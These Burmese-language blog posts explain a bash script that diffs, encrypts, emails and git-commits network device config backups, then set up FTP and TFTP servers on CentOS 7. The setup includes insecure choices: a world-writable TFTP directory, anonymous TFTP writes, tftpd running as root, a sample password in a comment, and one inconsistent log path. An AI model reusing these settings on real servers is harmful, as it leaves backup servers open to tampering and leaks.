ပြီးတာနဲ့ diff\_report() ဆိုတဲ့ function တစ်ခုကို စတင်တည်ဆောက်လိုက်ပါတယ်။ အဲ့ဒီ function ရဲ့ စစချင်းမှာပဲ vendor ဆိုတဲ့ variable ကိုစလိုက်ပြီးတော့ $1 ဆိုတဲ့ syntax ကတော့ ကိုယ် for loop ကနေ pass လုပ်လိုက်တဲ့ argument value ကို ချက်ချင်း assign လုပ်လိုက်ပါတယ်။ ပြီးရင် “cd /config/$vendor” ဆိုပြီးတော့ vendor တစ်ခုချင်းစီရဲ့ folder တွေစီကို သွားလိုက်တယ်။ ဒီနေရာမှာ vendor ဆိုတဲ့ variable ကို မသုံးပဲနဲ့ $1 ကိုပဲ တိုက်ရိုက် function ထဲမှာအသုံးပြုလို့ရပါတယ်။ စာရေးသူကတော့ readability အတွက် vendor ဆိုတဲ့ variable ကိုအပိုထည့်ပြီးတော့ သုံးထားတာဖြစ်ပါတယ်။ အောက်မှာ code တွေထပ်တိုးလာတဲ့အခါမှာ vendor ဆိုတဲ့ variable ကို ရှင်းရှင်းလင်းလင်း မြင်နိုင်တာမို့ နောက်တချိန်ပြန် ကြည့်တဲ့အခါ နားလည်ရပိုလွယ်မယ်လို့ထင်ပါတယ်။

```
vendor=$1
cd /config/$vendor
```

နောက်တစ်ခုက while loop နဲ့ folder တစ်ခုချင်းစီမှာရှိတဲ့ file နာမည်တွေကို တစ်ခုပြီးတစ်ခု လိုက်ဖတ်လိုက်ပါတယ်။ သူ့ရဲ့ syntax ကတော့ အောက်မှာပြထားတဲ့ အတိုင်းဖြစ်ပါတယ်။ နာမည်ကို match လုပ်ဖို့အတွက် “/scripts/inventory/$vendor” ဆိုတဲ့ inventory နာမည်စာရင်းဖြစ်တဲ့ flat file တစ်ခုကို input အနေနဲ့ထည့်ပြီးတော့ ရှာကြည့်လိုက်ပါတယ်။

```
while d= read -r line
    do
         // Block of codes // 
    done < /scripts/inventory/$vendor
```

ဒီနေရာမှာ ပြဿနာတစ်ခုက vendor တစ်ခုနဲ့တစ်ခု ကနေထွက်လာတဲ့ configuration file ရဲ့ output format ကမတူကြပါဘူး။ ဥပမာ…. Huawei ရဲ့ config file ရဲ့ output ဟာ vrpcfg.cfg ဆိုတဲ့ file ကို device name နဲ့ zip လုပ်ထားတဲ့အတွက် အနည်းငယ် housekeeping လုပ်ဖို့လိုပြန်ပါတယ်။ ဒီအတွက် vendor ဟာ Huawei ဟုတ်သလား မဟုတ်ဘူးလားကို if else နဲ့ စစ်ကြည့်ပါတယ်။ အကယ်လို့ ဟုတ်ခဲ့ရင် unzip လုပ်ရမယ်၊ file name ကိုပြောင်းမယ်ဆိုပြီးတော့ ပြောလိုက်ပါတယ်။ မဟုတ်ဘူးဆိုရင်တော့… file ကို ဒီအတိုင်း copy လုပ်ပြီးတော့ destination path မှာနာမည်ပြောင်းမယ်လို့ ပြောလိုက်ခြင်းပဲဖြစ်ပါတယ်။ ဒါ့အပြင် အပေါ်ဆုံး line ကတော့ folder ထဲမှာရှိတဲ့ file name နဲ့ inventory ထဲက ကိုယ့်ရဲ့ device name ကို ls command နဲ့ grep လုပ်လိုက်တာပါ။ ပြီးတာနဲ့ နောက်ဆုံး update လုပ်ထားတဲ့ file ကို ရှာပြီးယူလိုက်တာပါ။ ရှင်းပါတယ်။ အရမ်းနားလည်ရ မခက်ပါဘူး။

```
last=$(ls -t1 | grep $line | head -1)
if [ -f "$last" ]; then
    if [ $vendor == huawei ]; then
         unzip -q $last -d /scripts/temp
         mv /scripts/temp/vrpcfg.cfg /scripts/temp/$line
    else
         cp $last /scripts/temp/$line
    fi
```

နောက်တပိုင်းက baseline ရှိပြီးသား ဆိုရင် အဲ့ဒီ baseline ကိုလက်ရှိဖတ်ယူထားတဲ့ file နဲ့ အစားထိုးလိုက်မယ်လို့ ဆိုထားပြီးတော့၊ မရှိသေးရင်တော့ baseline အသစ်တစ်ခုဖန်တီး မယ်လို့ ပြောထားပါတယ်။ နောက်တစ်ခု သတိထားရမှာက baseline မရှိသေးလို့ baseline အသစ်ဖန်တီးတဲ့အခါမှာ baseline comparison လုပ်စရာမလိုတဲ့အတွက် change တစ်ခုအနေနဲ့ မသတ်မှတ်ပါဘူး။ Baseline ကပြောင်းသွားမှသာ သတ်မှတ်လိုခြင်း ဖြစ်တဲ့အတွက် အခုလိုမျိုး တကူးတက code ကို နေရာချထားခြင်းဖြစ်ပါတယ်။ ပြီးတော့… နောက်အခက်အခဲတစ်ခုက MikroTik တွေရဲ့ backup config မှာ ပထမဆုံးတစ်ကြောင်းမှာ နေ့စွဲ ပါတာမို့၊ အဲ့ဒီတစ်ကြောင်းကို ကျော်သွားဖို့ကို ထပ်ပြီးတော့ စီစဉ်ကပါတယ်။ အခုဆိုရင် baseline နဲ့ ကိုယ်နောက်ဆုံး ဆွဲယူလာတဲ့ file နှစ်ခုကို diff -u နဲ့ အလွယ်တကူ နှိုင်းယှဉ်နိုင်ပါပြီ။

```
if [ ! -f /scripts/baseline/$line ]; then
    cp /scripts/temp/$line /scripts/baseline/$line
else
    if [ $vendor == mikrotik ]; then
        diff -u <(tail -n +2 /scripts/baseline/$line) <(tail -n +2 $last) 1>/dev/null
    else
        diff -u /scripts/baseline/$line /scripts/temp/$line 1>/dev/null
    fi    
```

အခုလိုမျိုး file နှစ်ခုကို နှိုင်းယှဉ်တဲ့ အခါမှာ တူလားမတူဘူးလားဆိုတာကို အရင်သိဖို့လိုပါတယ်။ “diff -u /scripts/baseline/$line /scripts/temp/$line 1>/dev/null” ရဲ့ std output ကို “0” လား “1” ဆိုပြီးတော့ စစ်လိုက်ပါတယ်။ “0” ဆိုရင် နှစ်ခုကတူညီပြီးတော့ အပြောင်းအလဲမရှိပါဘူး။ ဒါဆိုရင် ဘာမှဆက်ပြီးတော့ လုပ်စရာမလိုတော့ပါဘူး။ ဒါမှမဟုတ်ဘူး “1” ဖြစ်ခဲ့ရင်တော့ ဒီ file နှစ်ခုဟာ မတူဘူးလို့ သိနိုင်ပါတယ်။ ဒါဆိုရင် ဘယ်နေရာမှာ မတူဘူးဆိုတာကို သိဖို့လိုပါပြီ၊ အဲ့ဒီအတွက် အောက်ကအတိုင်း သိချင်တဲ့ဟာကို ရှာထုတ်လိုက်ပြီးတော့ လက်ရှိ baseline ကို before the change လို့မှတ်လိုက်ပြီးတော့ temp folder ထဲမှာသွားသိမ်းလိုက်ပါတယ်။ ပြီးတော့ gpg နဲ့ encrypt လုပ်လိုက်ပါတယ်။ နောက်ပြီးတော့ zip လုပ်ပြီးတော့ သွားသိမ်းလိုက်ပါတယ်။

```
if [ ! $? == "0" ]; then
    cp /scripts/baseline/$line /scripts/temp/$line-$td-before
    cd /scripts/temp/
    gpg --yes --always-trust -e -r "itmatic101" $line-$td-before
    zip -q /diff_reports/changelog_$td.zip $line-$td-before.gpg; cd - 1> /dev/null;
```

နောက်တဆင့်ဖြစ်တဲ့ diff ရဲ့ output ကိုလည်း စာရေးသူက changelog ဆိုတဲ့ log file မှာသွားတော့ တစ်ခုချင်းစီ သွားထည့်လိုက်ချင်ပါတယ်။ အဲ့ဒီအတွက် diff -u ကို နောက်တစ်ခါထပ်ပြီးတော့ run ရပြန်ပါတယ်။

```
echo -e "\n$line changelog:" &>> /diff_reports/changelog_$td.log
echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" &>> /diff_reports/changelog_$td.log
if [ $vendor == mikrotik ]; then
     diff -u <(tail -n +2 /scripts/baseline/$line) <(tail -n +2 $last) &>> /diff_reports/changelog_$td.log
else    
     diff -u /scripts/baseline/$line /scripts/temp/$line &>> /diff_reports/changelog_$td.log
fi
echo -e "\n###############################################################" &>> /scripts/diff_reports/changelog_$td.log
```

နောက်တခါ… after the change ဆိုပြီးတော့ ပြောင်းလဲသွားပြီးတဲ့အခါမှာ ဘယ်လိုမျိုး config ဖြစ်သွားသလဲဆိုတာကိုလည်း သိချင်တဲ့အတွက် အောက်အတိုင်း နောက်တစ်ခါ copy လုပ်၊ overwrite လုပ်ပြီးသား file ကိုထပ်တခါရှာလိုက်ပြီးတော့ gpg နဲ့ encrypt လုပ်ပါတယ်၊ နောက်ပြီး zip file ထဲကို ထပ်တခါပေါင်းထည့်လိုက်ပြန်ပါတယ်။ နောက်ဆုံးမှာတော့ change ဖြစ်သွားကြောင်း ကိုသိဖို့အတွက် အသုံးပြုထားတဲ့ chg ကို “true” ဆိုပြီးတော့ assign လုပ်လိုက်ပါတယ်။ ဒီမှာတင် diff\_report() ရဲ့ function ကိစ္စကပြီးသွားပါတယ်။

```
cp /scripts/temp/$line /scripts/baseline/$line
cp /scripts/baseline/$line /scripts/temp/$line-$td-after
cd /scripts/temp/
gpg --yes --always-trust -e -r "itmatic101" $line-$td-after
zip -q /diff_reports/changelog_$td.zip $line-$td-after.gpg; cd - 1> /dev/null;
chg="true"
```

အခုဆိုရင်အဆင်သင့် အသုံးပြုဖို့အတွက် diff\_report() ကရပါပြီ၊ သူ့ကို for loop ထဲထည့်ပြီးတော့ argument ကို တစ်ခုချင်းစီ ဘယ်လိုလုပ်သလဲဆိုတာကြည့်လိုက်ရအောင်။ ရိုးရှင်းသလောက် အမြင်ရှင်းတဲ့ reusable code ကို အောက်ကအတိုင်းမြင်တွေ့နိုင်မှာဖြစ်ပါတယ်။

```
for arg in cisco hpe fortigate huawei mikrotik
do
    diff_report $arg
done
```

အားလုံးအဆင်သင့်ဖြစ်တဲ့နောက်မှာတော့… ထုပ်ပိုးပြီးတော့ email နဲ့ပို့ဖို့အတွက်အောက်ကအတိုင်း code block တစ်ခုကို ထပ်ပြီးတော့ ပေါင်းထည့်လိုက်ပါတယ်။ GPG ကိုဘယ်လို အသုံးပြုသလဲဆိုတာကို သိချင်တော့ ဒီ [link](https://tutes.itmatic101.com/linux/gpg) မှာသွားပြီးတော့ quick snippet မှာသွားကြည့်နိုင်ပါတယ်။ အသေးစိတ်မဟုတ်ပေမယ့် နားလည်ရလွယ်မယ်လို့ ထင်ပါတယ်။ ဒါ့အပြင် အသုံးပြုထားတဲ့ script တွေကို တစ်စုတည်းကြည့်ချင်ရင်တော့ GitHub ရဲ့ ဒီ [link](https://github.com/tylalin/ITmatic101/tree/master/network_config_mgmt) မှာသွားပြီးတော့ကြည့်လို့ရပါတယ်။ ဒါ့အပြင် စာရေးသူ တကိုယ်ရေး အသုံးပြုဖို့အတွက် docker နဲ့ self-hosted လုပ်ထားတဲ့ Gitea server ပေါ်မှာလည်း သီးသန့် version control လုပ်ချင်တဲ့အတွက် အောက်ကအတိုင်း code ကိုထပ်ဖြည့်လိုက်ပါတယ်။ Bash programming/script ကို အသုံးပြုခြင်းအားဖြင့် terminal မှာကိုယ်သုံးနေကြ native commands တွေကိုအခုလိုမျိုး ပစ်ထည့်ပြီးတော့ အသုံးပြုနိုင်တာကိုလည်း သတိထားမိစေချင်ပါတယ်။

```
if [ "$chg" == true ]; then
    cd /diff_reports/
    gpg --yes --always-trust -e -r "itmatic101" changelog_$td.log
    zip -q changelog_$td.zip changelog_$td.log.gpg
    echo "Config Changelog for $td" | mailx -s "Config Changelog Report $td" -a "/diff_reports/changelog_$td.zip" tyla@itmatic101.com

    # replicate the baseline to latest in config
    rsync -azh /scripts/baseline/ /config/latest/

    # git auto version control on /config/latest/
    cd /config/latest/
    git add *
    git commit -am "auto commit for $td"
    git push origin master
fi  
```

နောက်ဆုံးမှာ… file တွေမလိုပဲနဲ့ storage မကုန်ရလေအောင်လို့ cleanup ကို အခုလိုလုပ် လိုက်ပါတယ်။ ရိုးရှင်းပြီးလွယ်ကူလှတဲ့ bash နဲ့ network automation ကိုထည့်ပြီးတော့ use case တစ်ခုတည်ဆောက်ပြခြင်းဖြစ်ပါတယ်။

```
# cleanup unnecessary files 
rm /scripts/temp/* 2> /dev/null
rm /diff_reports/*.zip 2> /dev/null
rm /diff_reports/*.gpg 2> /dev/null
```

အထက်မှာမြင်တဲ့အတိုင်း… bash ကိုအသုံးပြုပြီးတော့ network automation တစ်ခုကို တင်ပြသွားပါတယ်။ Python လောက် ခပ်သွက်သွက် script တစ်ခုမတည်နိုင်သော်လည်း bash ဟာ automation အတွက် ကိုယ့် network မှာ use case ရှိနိုင်တယ်ဆိုတာ သိစေလိုပါတယ်။ ဒီလိုမှမဟုတ်ဘူး… ကိုယ့်အလုပ်မှာ Cisco တစ်မျိုးပဲသုံးတယ်ဆိုတဲ့သူ တွေအတွက်တော့ Ansible လို network automation ဟာ ပိုပြီးတော့ ထိရောက်နိုင်ပါတယ်။ သို့သော်… အဲ့ဒီလို environment မျိုးက ခပ်ရှားရှားဖြစ်ဖို့များတဲ့ အတွက် ထဲထဲဝင်ဝင်တိုးဝေ့ပြီးတော့ လိုအပ်တဲ့ဟာ ကိုလိုအပ်သလို အသုံးပြုနိုင်ဖို့အတွက် bash ဟာလည်း သူ့နေရာနဲ့သူ အစွမ်းထက်လှ့ပါတယ်။ နောက်ပိုင်းမှာတော့… စာရေးသူ စိတ်ကြိုက်တွေ့လှတဲ့ Python နဲ့ Ansible တွေကို အသုံးပြုတဲ့ network automation workflow တွေအကြောင်းကို ဆက်ရေးပါ့မယ်။ ဒီ post ကိုတော့ ဒီမှာတင်ပဲရပ်လိုက်ပါတော့မယ်။


# FTP/TFTP server ပေါ်မှာ network config တွေကို auto backup လုပ်ပုံ – အပိုင်း (၁)

ဒီတခါလည်း အလုပ်နဲ့ပတ်သတ်ပြီးတော့ စဖြစ်တဲ့ project တစ်ခုအကြောင်းကို တင်ပြချင်လို့ ဒီ post ကိုရေးဖြစ်တာပါ။ အရင် post တွေမှာရေးသလိုပဲ စာရေးသူ အလုပ်နဲ့ပတ်သတ်ပြီးတော့ ဆိုင်ရာဆိုင်ရာ workflow တော်တော်များများကို စိတ်တိုင်းမကျပါဘူး။ task တော်တော်များများကို manual လိုက်လုပ်နေရလို့ အချို့ အပိုင်းတွေမှာ စာရေးသူ တော်တော်လေးကို စိတ်ညစ်ရပါတယ်။ manual လုပ်ပြီးဆိုကတည်းက productivity လည်းကျသွားပြီးတော့ ကိုယ်လုပ်ရမယ့် အရေးကြီးတဲ့ project တွေပေါ်မှာ အာရုံမစိုက်နိုင်တော့ပါဘူး။ အဲ့လိုနဲ့ integration နဲ့ optimization အတွက် လိုအပ်တဲ့ လုပ်ငန်းဆောင်တာ တွေကို မလုပ်နိုင်တဲ့အတွက် customer base များလာတာနဲ့အမျှ အလုပ်ပို ရှုပ်လာရပြီးတော့ အလုပ်လည်း အချိန်တိုအတွင်းမပြီးနိုင်တော့ပါဘူး။ အချို့ SMB (small and medium-sized business) တွေမှာ အဲ့လိုမျိုး manual process ကိုပဲအသုံးပြုပြီးတော့ အလုပ်ဖြစ်အောင်လို့ ဆက်သွားကြပါတယ်။ အချို့ဆိုရင် automatic workflow အတွက် research နဲ့ staging လုပ်တာကို လုံးဝအားမပေးပါဘူး။ အလုပ်ချိန်အတွင်းမှာ အချိန်ကုန်တယ်လို့ ယူဆတဲ့အတွက် မှားယွင်းတဲ့ work culture တွေကို adopt လုပ်ပါတယ်။ စာရေးသူအမြင်တော့ အဲ့ဒီလို business မျိုးဟာ creativity နဲ့ innovation ကို အားမပေးတဲ့အတွက် SMB အနေနဲ့ပဲ အချိန်တော်တော်ကြာကြာ ဆက်သွားရပါတယ်။ ဘယ်လိုပဲဖြစ်ဖြစ် စာရေးသူ တကိုယ်ရေအမြင်ကတော့ လက်ရှိ work culture ကောင်းသည်ဖြစ်စေ၊ မကောင်းသည်ဖြစ်စေ၊ ကိုယ်က management နဲ့ အဆင်ပြေသည်ဖြစ်စေ၊ အဆင်မပြေသည်ဖြစ်စေ ကိုယ်လုပ်တဲ့ အလုပ်ကို အလေးပေး တန်ဖိုးထားနိုင်ခြင်းဟာ ကိုယ်ဘယ်သွားသွား ကိုယ့်နောက်ပါလာမယ့်၊ ကိုယ်သယ်သွားလို့ရမယ့် အဖိုးတန် အရည်အချင်းတစ်ခုဖြစ်တယ်လို့ မြင်ပါတယ်။ ဆိုလိုချင်တာကတော့ ကိုယ်လုပ်လို့ရသလောက်တော့ ဆက်လုပ်နေရပါ့မယ်။ ကိုယ်လုပ်တဲ့ အလုပ်ပေါ်မှာ စေတနာထားတတ်ရပါမယ်။ အဲ့ဒီအတွက်လည်း ကိုယ့်မှာ အကျိုးမယုတ်ပါဘူး။ စိတ်ထားတာမှန်ရင် နောင်သံတရာ ထိအောင်ပါနိုင်ပါတယ်။ ကဲ… တွေးမိတဲ့ work culture အကြောင်းလေးပြောရင်းနဲ့ တရားခွေလည်း ဖြစ်သွားတော့မယ်။ FTP/TFTP အကြောင်းလေး ဆက်သွား လိုက်ရအောင်…

စစချင်းတုန်းက အလုပ်မှာ manage လုပ်ရတဲ့ network ထဲက router နဲ့ switch တွေရဲ့ config ကို backup လုပ်ချင်ရင် တခုချင်းစီ ssh login လုပ်ပြီးတော့ copy ရပါတယ်။ network မှာ device များလာတာနဲ့ အမျှ manual process ဖြစ်တဲ့ copy သွားသွားလုပ်ရတာ သိပ်ပြီးတော့ အလုပ်မဖြစ်တော့ပါဘူး။ အချိန်ကုန်တယ်၊ လူလည်းပင်ပန်းပါတယ်။ အဲ့ဒီတော့ script တွေကို အသုံးပြုပြီးတော့ automate လုပ်ဖို့ စာရေးသူ စဉ်းစားပါတော့တယ်။ ပထမတော့ TCL/Expect ကိုအသုံးပြုပြီးတော့ scripted automation လုပ်မယ်ဆိုပြီးတော့ အတွေးလေး ရပါတယ်။ ပြဿနာက အလုပ်မှာ က multi-vendors router နဲ့ switch တွေအသုံးပြုတဲ့အတွက် TCL/Expect နဲ့ ဆို Cisco မဟုတ်တဲ့ device တွေမှာ အခက်အခဲ အချို့ရှိနေတာကို သွားပြီးတွေ့ရပါတယ်။ အဲ့ဒီတော့ vendor-agnostic ဖြစ်မယ့် neutral backup process ကို တစ်ခုချင်းစီလိုက်ပြီးတော့ research လုပ်ရပါတော့တယ်။ အချိန်တော့ နည်းနည်းကုန်ပါတယ်၊ သို့သော် အလုပ်ဖြစ်မယ်ဆိုရင် အစပိုင်းတော့နည်းနည်း အလုပ်ရှုပ်မယ်ဆိုတာလည်း ကြိုပြီးတော့ တွက်ထားပြီးသားပါ။ ဒီ post တွင် ပထမတပိုင်း CentOS 7 ပေါ်မှာ လုပ်အပ်တဲ့ FTP နဲ့ TFTP ကိုဘယ်လို install လုပ်သလဲ၊ configure လုပ်သလဲဆိုတာကို အရင်ဆုံးသွားလိုက်ပါ့မယ်။ နောက်ပြီးတော့မှ အဲ့ဒီ FTP နဲ့ TFTP ကိုအသုံးပြုပြီးတော့ multi-vendors device တွေရဲ့ config တွေကို ဘယ်လို backup လုပ်သလဲဆိုတာကို ဆက်ရှင်းပါ့မယ်။ ဒီ process ကိုပဲ ပုံစံအမျိုးမျိုးနဲ့ ဖန်တီးယူလို့ရပါတယ်။ စာရေးသူ အသုံးပြုထားတဲ့ workflow က ကိုယ်လက်လှမ်းမှီသလောက် ရှာကျန်ပြီးတော့ လုပ်ထားတဲ့အတွက် အခြားလူတွေရဲ့ workflow နဲ့ နည်းနည်းတော့ ကွာပါလိမ့်မယ်။ နားလည်ရလွယ်မယ်လို့ တော့ စာရေးသူထင်ပါတယ်။ အရင်ဆုံး CentOS 7 ကို install လုပ်ပါ။ ကိုယ့်ရဲ့ CentOS 7 box ဟာ internet access ရှိနေရပါ့မယ်။ ပြီးရင်တော့ sudo yum update -y လုပ်ဖို့လည်း မမေ့ပါနဲ့။ အားလုံးသိကြပြီးတဲ့အတိုင်း CentOS 7 box ကိုဘယ်လို setup လုပ်သလဲ ဆိုတာကို အသေးစိတ် မသွားတော့ပါဘူး။ Install လုပ်ပြီးသား၊ update လုပ်ပြီးသား CentOS 7 ပေါ်မှာ FTP နဲ့ TFTP ကို ဘယ်လို setup လုပ်သလဲဆိုတာကို ဆက်ပြီးတော့သွားပါ့မယ်။

**FTP server ကို setup လုပ်ပုံ**

```
tyla@rpm-dev02:~$ sudo -i

[sudo] password for tyla: 

# install vsftp and ftp
root@rpm-dev02:~# yum install vsftpd ftp -y

# configure vsftpd.conf file
root@rpm-dev02:~# vi /etc/vsftpd/vsftpd.conf
```

vsftpd.conf file မှာ အောက်က အတိုင်း လိုသလို ပြင်လိုက်ပါ။

```
# disable anonymous login
anonymous_enable=NO

# remove # signs in front of following 2 lines 
ascii_upload_enable=YES
ascii_download_enable=YES

# add the following line at the end
use_localtime=YES
```

နောက်ပြီးရင်တော့ vsftpd ကို အောက်ကအတိုင်း enable နဲ့ start လုပ်လိုက်ပါ။

```
# enable vsftpd daemon to start upon system reboot
root@rpm-dev02:~# systemctl enable vsftpd

# start vsftpd daemon
root@rpm-dev02:~# systemctl start vsftpd

# grant ftp service thru firewall
root@rpm-dev02:~# firewall-cmd --permanent --add-port=21/tcp
root@rpm-dev02:~# firewall-cmd --permanent --add-service=ftp

# reload the firewall to apply the change
root@rpm-dev02:~# firewall-cmd --reload

# update SELinux boolean values for ftp service
root@rpm-dev02:~# setsebool -P ftp_home_dir on

# create a new user for ftp service
root@rpm-dev02:~# useradd gnu-ftp01

# set login password "Passw0rd!23" for newly created user gnu-ftp01
root@rpm-dev02:~# passwd gnu-ftp01
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully

# verify the ftp server login
root@rpm-dev02:~# ftp 192.168.105.10
Connected to 192.168.105.10.
Name (192.168.105.10:root): gnu-ftp01
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

# verify the ftp server login from remote client
root@x1c:~# ftp 192.168.105.10
Connected to 192.168.105.10.
Name (192.168.105.10:root): gnu-ftp01
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

အခုဆိုရင်တော့ vsftpd ကို setup လုပ်ပြီးသွားပါပြီ။ ဒီထက်ပိုပြီးသေချာချင်ရင်တော့ file တွေကို ftp ကနေတဆင့် upload နဲ့ download လုပ်စမ်းကြည့်လို့ရပါတယ်။ ကိုယ် upload လုပ်လိုက်တဲ့ file တွေ folder တွေကိုတော့ လက်ရှိ login ဝင်ထားတဲ့ user ရဲ့ home directory မှာ တွေ့နိုင်မှာဖြစ်ပါတယ်။ ဒါကတော့ ftp service ကို CentOS 7 ပေါ်မှာ setup လုပ်တဲ့ပုံပါ။

FTP server ကတော့ အသုံးပြုလို့ရနေပါပြီ။ multi-vendors device တွေနဲ့ တွဲပြီးတော့ အသုံးပြုရမှာမို့ TFTP server လည်း setup လိုလာပြန်လို့ စာရေးသူ TFTP service ကို setup လုပ်တဲ့ပုံကို ဆက်ပြီးတော့ ရှင်းပါ့မယ်။ HPE ရဲ့ procurve switch မှာ ftp နဲ့တွဲပြီးတော့ အသုံးပြုတာ သိပ်အဆင်မပြေလို့ TFTP ကိုထက်ပြီးတော့ setup လုပ်ရပြန်ပါတယ်။ အောက်မှာတော့ tftp service ကို setup လုပ်တဲ့ ပုံစံဖြစ်ပါတယ်။

**TFTP server ကို setup လုပ်ပုံ**

```
# install tftp-server and xinetd
root@rpm-dev02:~# yum install tftp tftp-server* xinetd*

# edit /etc/xinetd.d/tftp to enable tftp via xinetd
root@rpm-dev02:~# vi /etc/xinetd.d/tftp
```

```
# default: off
# description: The tftp server serves files using the trivial file transfer \
#	protocol.  The tftp protocol is often used to boot diskless \
#	workstations, download configuration files to network-aware printers, \
#	and to start the installation process for some operating systems.
service tftp
{
	socket_type		= dgram
	protocol		= udp
	wait			= yes
	user			= root
	server			= /usr/sbin/in.tftpd
	server_args		= -c -s /tftpboot  # add -c argument for client upload
	disable         = no  # set to no to enable tftp service
	per_source		= 11
	cps             = 100 2
	flags			= IPv4
}
```

အထက်မှာပြထားတဲ့ အတိုင်း line number 13 နဲ့ 14 ကို ပြင်ဆင်ဖို့လိုပါတယ်။ ပြီးရင်တော့ save လုပ်ပြီးတော့ file ကိုပိတ်လိုက်ပါ။ နောက်တဆင့် အနေနဲ့ tftp အတွက် directory တစ်ခုကို ဖန်တီးဖို့လိုပါလိမ့်မယ်။

```
# create a tftproot folder and set required permissions
root@rpm-dev02:~# mkdir /tftproot
root@rpm-dev02:~# chmod -R 777 /tftproot

# enable tftp in systemd by configuring /usr/lib/systemd/system/tftp.service as below
root@rpm-dev02:~# vi /usr/lib/systemd/system/tftp.service
```

```
[Unit]
Description=Tftp Server
Requires=tftp.socket
Documentation=man:in.tftpd

[Service]
ExecStart=/usr/sbin/in.tftpd -c -s /tftproot
StandardInput=socket

[Install]
Also=tftp.socket
WantedBy=multi-user.target
```

```
# enable and start xinetd
root@rpm-dev02:~# systemctl enable xinetd
root@rpm-dev02:~# systemctl start xinetd

# enable and start tftp
root@rpm-dev02:~# systemctl enable tftp
root@rpm-dev02:~# systemctl start tftp
```

```
# check tftp permission in SELinux
root@rpm-dev02:~# getsebool -a | grep tftp
tftp_anon_write --> off
tftp_home_dir --> off

# if write is off as above, set 1 to enable it as following
root@rpm-dev02:~# setsebool -P tftp_anon_write 1
root@rpm-dev02:~# setsebool -P tftp_home_dir 1

# configure firewalld for tftp
root@rpm-dev02:~# firewall-cmd --permanent --add-port=69/udp
success
root@rpm-dev02:~# firewall-cmd --zone=public --add-service=tftp --permanent
success 
root@rpm-dev02:~# firewall-cmd --reload
success 

# enable and start firewalld
root@rpm-dev02:~# systemctl enable firewalld
root@rpm-dev02:~# systemctl start firewalld
```

အခုဆိုရင်တော့ TFTP server လည်း စတင်အသုံးပြုလို့ရပါပြီ။ နောက်တပိုင်းမှာတော့ multi-vendors network device တွေဘက်မှာ configuration file ကို FTP/TFTP ဆီကို လှမ်းပြီးတော့ ဘယ်လို သိမ်းလို့ရအောင် လုပ်သလဲဆိုတာကို ဆက်လက်ဖော်ပြသွားပါ့မယ်။ အထက်မှာပြောသလိုပဲ TCL/Expect လိုမျိုး script တွေကို အသုံးမပြုပဲနဲ့ neutral အတိုင်း FTP/TFTP server ပေါ်မှာ သိမ်းလို့ရတဲ့ vendor တစ်ခုချင်းစီရဲ့ built-in feature တွေပဲ အသုံးပြုသွားမှာဖြစ်ပါတယ်။ နောက်ဆုံးမှာတော့ FTP/TFTP server ပေါ်မှာ bash script တစ်ခုကို အသုံးပြုပြီးတော့ config file တွေကို housekeeping လုပ်သလဲဆိုတာကို ဆက်ပြီးတော့ ဖော်ပြပေးသွားပါ့မယ်။ ဒီအပိုင်းကိုတော့ ဒီမှာပဲရပ်လိုက်ပါတော့မယ်။


# FTP/TFTP server ပေါ်မှာ network config တွေကို auto backup လုပ်ပုံ – အပိုင်း (၂)

အရှေ့တပိုင်းမှာတော့ လိုအပ်တဲ့ FTP/TFTP server အတွက်အားလုံးပြင်ဆင်ပြီးသွားပါပြီ။ ဒီ post မှာတော့ network device အမျိုးမျိုးမှာ ဘယ်လိုမျိုး auto config backup အတွက် trigger တွေကို ဖန်တီးနိုင်သလဲ ဆိုတာ ကိုဆက်ပြီးတော့ ရှင်းပြသွားပါ့မယ်။ ပထမပိုင်းမှာ စာရေးသူ ပြောတဲ့အတိုင်း အလုပ်မှာက multi-vendors networking device တွေကို အသုံးပြုထားတဲ့အတွက် တစ်ခုချင်းစီမှာဘယ်လိုမျိုး built-in features တွေကို အသုံးပြုသလဲဆိုတာကို ရှင်းပါ့မယ်။ အသုံးပြုထားတဲ့ networking device vendors နဲ့ သက်ဆိုင်ရာ OS တွေကတော့ Cisco IOS XE၊ Huawei VRP၊ HPE ProCurve၊ FortiGate နဲ့ MikroTik RouterOS တို့ပဲဖြစ်ပါတယ်။ Cisco ကိုတော့ အားလုံးသိထားတဲ့အတိုင်း လူတော်တော်များများ ကျွမ်းကျင်စွာ အသုံးပြုတတ်ပါတယ်။ အဓိက အားဖြင့်တော့ Cisco ရဲ့training နဲ့ certification တွေဟာ consumer-marketing အတွက်တော့ တော်တော်အားကြီးတဲ့ လွှမ်းမိုးမှု တစ်ခုလို့ဆိုရမှာပါ။ စာရေးသူ အတွက်တော့ Cisco ဟာ networking ဘက်မှာ အင်အားကြီးလွန်းပြီးတော့၊ ဈေးလည်းအလွန်ကြီးတဲ့ product တစ်ခုအနေနဲ့ မြင်ပါတယ်။ နောက်ပြီးတော့ Cisco ဟာ Microsoft လိုပဲ အလွန်ရှုပ် ထွေးတဲ့ licensing model ရှိတဲ့ အတွက်တခါတခါ အဲ့ဒီ licensing ကိုနားလည်ဖို့ကိုပဲ တော်တော်လေးအချိန်ယူရပါတယ်။ စာရေးသူအတွက်တော့ licensing ဆိုတာ vendor အတွက် အကျိုးအမြတ်ရှိပြီး consumer အတွက်တော့ မလိုအပ်ပဲ ကုန်တဲ့ အချိန်နဲ့ ပိုက်ဆံတွေလို့တာ မြင်ပါတယ်။ ရေဘူရအားဖြင့်တော့ HPE ProCurve နဲ့ Huawei VRP platform တွေမှာ hardware ကိုဝယ်လိုက်တာနဲ့ သူနဲ့ ပါလာတဲ့ feature တွေအကုန်လုံးကို ယူပြီးတော့ အသုံးပြုလို့ရပါတယ်။ ဘာ DNA essentials တို့၊ DNA advantage တို့လို license ကိုထက်ပြီးတော့ ထည့်စရာမလိုပါဘူး။ Cisco မှာတော့ လိုအပ်တဲ့ license မရှိရင် hardware က support လုပ်သော်လည်း အချို့ feature တွေကို အသုံးပြုလို့ မရပါဘူး။ Licensing နဲ့ subscription မှာပဲ တော်တော်လေးကို အကုန်အကျများနေပါပြီ။

